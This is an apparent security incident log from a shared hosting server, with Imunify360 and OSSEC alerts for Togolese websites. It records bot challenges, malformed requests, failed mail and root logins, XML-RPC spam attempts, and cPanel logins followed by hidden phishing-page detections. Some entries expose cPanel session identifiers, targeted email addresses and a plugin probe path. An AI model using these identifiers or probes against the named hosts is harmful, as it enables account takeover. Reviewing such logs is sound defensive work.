# incident

plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 113.211.214.29
country_id: 1733045
description:
113.211.214.29 - - [20/Jun/2026:12:13:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6788760&pdata=http%253A%252F%252Ftogodailynews.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Furl%253Dhttp%25253A%25252F%25252Ftogodailynews.tg%25252Fcooperation-les-officiels-kazakhstanais-saluent-la-vision-de-developpement-de-faure-gnassingbe%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781957632 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/wp-json/oembed/1.0/embed?url=http%3A%2F%2Ftogodailynews.tg%2Fcooperation-les-officiels-kazakhstanais-saluent-la-vision-de-developpement-de-faure-gnassingbe%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:113.211.214.29


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:12:16:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6647651&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781957815 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:12:16:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10392682&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781957815 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:12:17:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184806&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781957817 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.123.208.239
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/12/WhatsApp-Image-2024-12-07-at-15.56.03-1-1024x768.jpeg 1024w, http:/togodailynews.tg/wp-content/uploads/2024/12/WhatsApp-Image-2024-12-07-at-15.56.03-1-300x225.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2024/12/WhatsApp-Image-2024-12-07-at-15.56.03-1-768x576.jpeg 768w, http:/togodailynews.tg/wp-content/uploads/2024/12/WhatsApp-Image-2024-12-07-at-15.56.03-1.jpeg 1040w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 177.104.18.42
country_id: 3469034
description:
177.104.18.42 - - [20/Jun/2026:12:19:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10339435&pdata=https%253A%252F%252Fwebmail.otf-boutique.free.netmaster.tg%252F%253Flocale%253Dzh_tw&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781957995 HTTP/2.0" 302 0 webmail.otf-boutique.free.netmaster.tg "https://webmail.otf-boutique.free.netmaster.tg/?locale=zh_tw" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:177.104.18.42


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 86.99.180.6
country_id: 290557
description:
86.99.180.6 - - [20/Jun/2026:12:20:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855574&pdata=https%253A%252F%252F24heureinfo.tg%252Fsante%252Fchr-tsevie-trois-jours-de-sit-in-du-personnel-contre-les-detournements-2&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781958003 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/sante/chr-tsevie-trois-jours-de-sit-in-du-personnel-contre-les-detournements-2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:86.99.180.6


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.5.203
country_id: 2363686
description:
[2026-06-20 12:20:06 +0000] info [cpaneld] 196.171.5.203 NEW pnls:wsz2xYc9AUlMM6GO address=196.171.5.203,app=cpaneld,creator=pnls,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.66.4.9
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/diplomatie/page/dad7cd HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.168.0.74
country_id: 3469034
description:
Jun 20 12:24:16 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.168.0.74 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.251.255.240
country_id: 1168579
description:
103.251.255.240 - - [20/Jun/2026:12:24:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13213083&pdata=https%253A%252F%252Ftogodailynews.tg%252Fiatf-2025-les-tpme-togolaises-de-demarquent&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781958258 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/iatf-2025-les-tpme-togolaises-de-demarquent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.251.255.240


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.168.0.74
country_id: 3469034
description:
Jun 20 12:24:30 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.168.0.74 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:12:24:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:12:24:44 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.215.62.202
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/diplomatie/page/566d68 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:12:26:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934739&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781958393 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:12:26:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854041&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781958395 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.208
country_id: 2635167
description:
[2026-06-20 12:27:32 +0000] info [cpaneld] 5.230.153.208 NEW cinemafreenetmas:s0HUFnMU53CzrEG5 address=5.230.153.208,app=cpaneld,creator=cinemafreenetmas,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.20
country_id: 2635167
domain: cinema.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/cinemafreenetmas/public_html/.455414697671018.php||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.5.45.29
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/12/WhatsApp-Image-2024-12-07-at-16.14.42.jpeg 657w, http:/togodailynews.tg/wp-content/uploads/2024/12/WhatsApp-Image-2024-12-07-at-16.14.42-300x214.jpeg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 98.97.53.146
country_id: 6251999
domain: certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/certlogisticstogo.com/contact/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.58.120.15
country_id: 614540
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/635c5a HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:12:32:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724295&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781958729 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:12:32:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7104367&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781958733 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.75.243.219
country_id: 1733045
description:
180.75.243.219 - - [20/Jun/2026:12:31:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053533&pdata=https%253A%252F%252Fcivilemagazine.tg%252Ftag%252Fac-barracuda%252F%253Famp%253D1&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781958701 HTTP/2.0" 302 0 civilemagazine.tg "https://civilemagazine.tg/tag/ac-barracuda/?amp=1" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.9104.1484 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.75.243.219


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:12:32:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9724828&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781958745 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.16.91.93
country_id: 1269750
description:
Jun 20 12:34:03 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.16.91.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 54.177.93.172
country_id: 6252001
description:
Jun 20 12:34:47 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 54.177.93.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 54.177.93.172
country_id: 6252001
description:
2026-06-20 12:34:49 dovecot_plain authenticator failed for H=ec2-54-177-93-172.us-west-1.compute.amazonaws.com (i6a3fiv7xs4tif9vl44u5s8a) [54.177.93.172]:36632: 535 Incorrect authentication data (set_id=hkanaza@otr.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.97.6.144
country_id: 1527747
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/80737a HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 175.107.215.151
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/09/IMG-20210928-WA01492-1024x583.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2021/09/IMG-20210928-WA01492-300x171.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2021/09/IMG-20210928-WA01492-768x437.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2021/09/IMG-20210928-WA01492.jpg 1080w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.166
country_id: 6252001
description:
[2026-06-20 12:38:13 +0000] info [cpaneld] 64.44.59.166 NEW utkxprkk:CWTrSzFBEwdJ50yG address=64.44.59.166,app=cpaneld,creator=utkxprkk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.42
country_id: 2635167
description:
[2026-06-20 12:38:13 +0000] info [cpaneld] 5.230.153.42 NEW tgkkwsvr:W0U5peWsi9V41xHd address=5.230.153.42,app=cpaneld,creator=tgkkwsvr,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.18
country_id: 2635167
description:
[2026-06-20 12:38:13 +0000] info [cpaneld] 5.230.153.18 NEW cietg:PETCoLj9W14TuhzZ address=5.230.153.18,app=cpaneld,creator=cietg,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 134.195.83.207
country_id: 6252001
domain: soena.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/expirefreenetmas/public_html/.508846225781380.php||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.112
country_id: 3017382
domain: letempsdaider.org
description:
IM360 WAF: Possible phishing page detected||SC:/home/utkxprkk/public_html/.491681705118463.php||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.102
country_id: 6252001
description:
[2026-06-20 12:38:13 +0000] info [cpaneld] 64.44.59.102 NEW sodigaz:S8wkI_24kEC73V2G address=64.44.59.102,app=cpaneld,creator=sodigaz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.151
country_id: 6252001
description:
[2026-06-20 12:38:12 +0000] info [cpaneld] 64.44.59.151 NEW aneos:bUJlc7Fx4tPNvVHH address=64.44.59.151,app=cpaneld,creator=aneos,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.179
country_id: 2635167
description:
[2026-06-20 12:38:15 +0000] info [cpaneld] 5.230.153.179 NEW utkxprkk:j7OnaOhexpL329e6 address=5.230.153.179,app=cpaneld,creator=utkxprkk,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.169
country_id: 2635167
domain: fomda.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/tgkkwsvr/public_html/.310199252553294.php||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.223
country_id: 2635167
description:
[2026-06-20 12:38:13 +0000] info [cpaneld] 5.230.133.223 NEW vuvwskxh:aeu6tpXN64YahNXn address=5.230.133.223,app=cpaneld,creator=vuvwskxh,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.68.2.159
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/2140352484 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.71.117
country_id: 6252001
description:
[2026-06-20 12:39:42 +0000] info [whostmgrd] 217.181.71.117 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 185.213.83.147
country_id: 1643084
description:
[2026-06-20 12:39:58 +0000] info [cpaneld] 185.213.83.147 NEW utkxprkk:ch4BxyPCKQmLnkdN address=185.213.83.147,app=cpaneld,creator=utkxprkk,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.117.163.21
country_id: 1168579
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2cf1b2b89025949a7489e69e8b8ee009b0afe3e7||Title:zoz5pvk0xmv4klpdq||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:12:41:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:12:41:02 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:12:42:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6843076&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781959323 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:12:42:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6775965&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781959323 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.10.175.128
country_id: 6252001
domain: sp-eau.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sp-eau.tg/wp-json/wp/v2/posts HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.97.130
country_id: 798544
description:
Jun 20 12:43:01 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.97.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.41.244.238
country_id: 3865483
description:
Jun 20 12:43:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.41.244.238 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.21.251.50
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/09/IMG-20210928-WA01512-1024x583.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2021/09/IMG-20210928-WA01512-300x171.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2021/09/IMG-20210928-WA01512-768x437.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2021/09/IMG-20210928-WA01512.jpg 1080w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.48.106
country_id: 6252001
domain: ariana.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ariana.tg/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:12:46:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6473322&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781959564 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.8.170
country_id: 2017370
description:
2026-06-20 12:50:29 dovecot_plain authenticator failed for H=(donally) [31.173.8.170]:22078: 535 Incorrect authentication data (set_id=hr@cameg-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.230
country_id: 3469034
description:
Jun 20 12:51:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.242
country_id: 2300660
description:
Jun 20 12:52:44 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.242 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.117.163.21
country_id: 1168579
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:42d32f7953b65009103f46221a0f9c5e48912ec3||Title:6iqb1p99dsi5r2d8||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.117.163.21
country_id: 1168579
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7134d9a9c52c22bfe95d2de452f52ebe08f876c6||Title:u61wsa93pjwuzio0||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.117.163.21
country_id: 1168579
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bf2e431fa06e05ec69459c9e3b16527fe2a0ce12||Title:y83vglqjypk9y6q||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
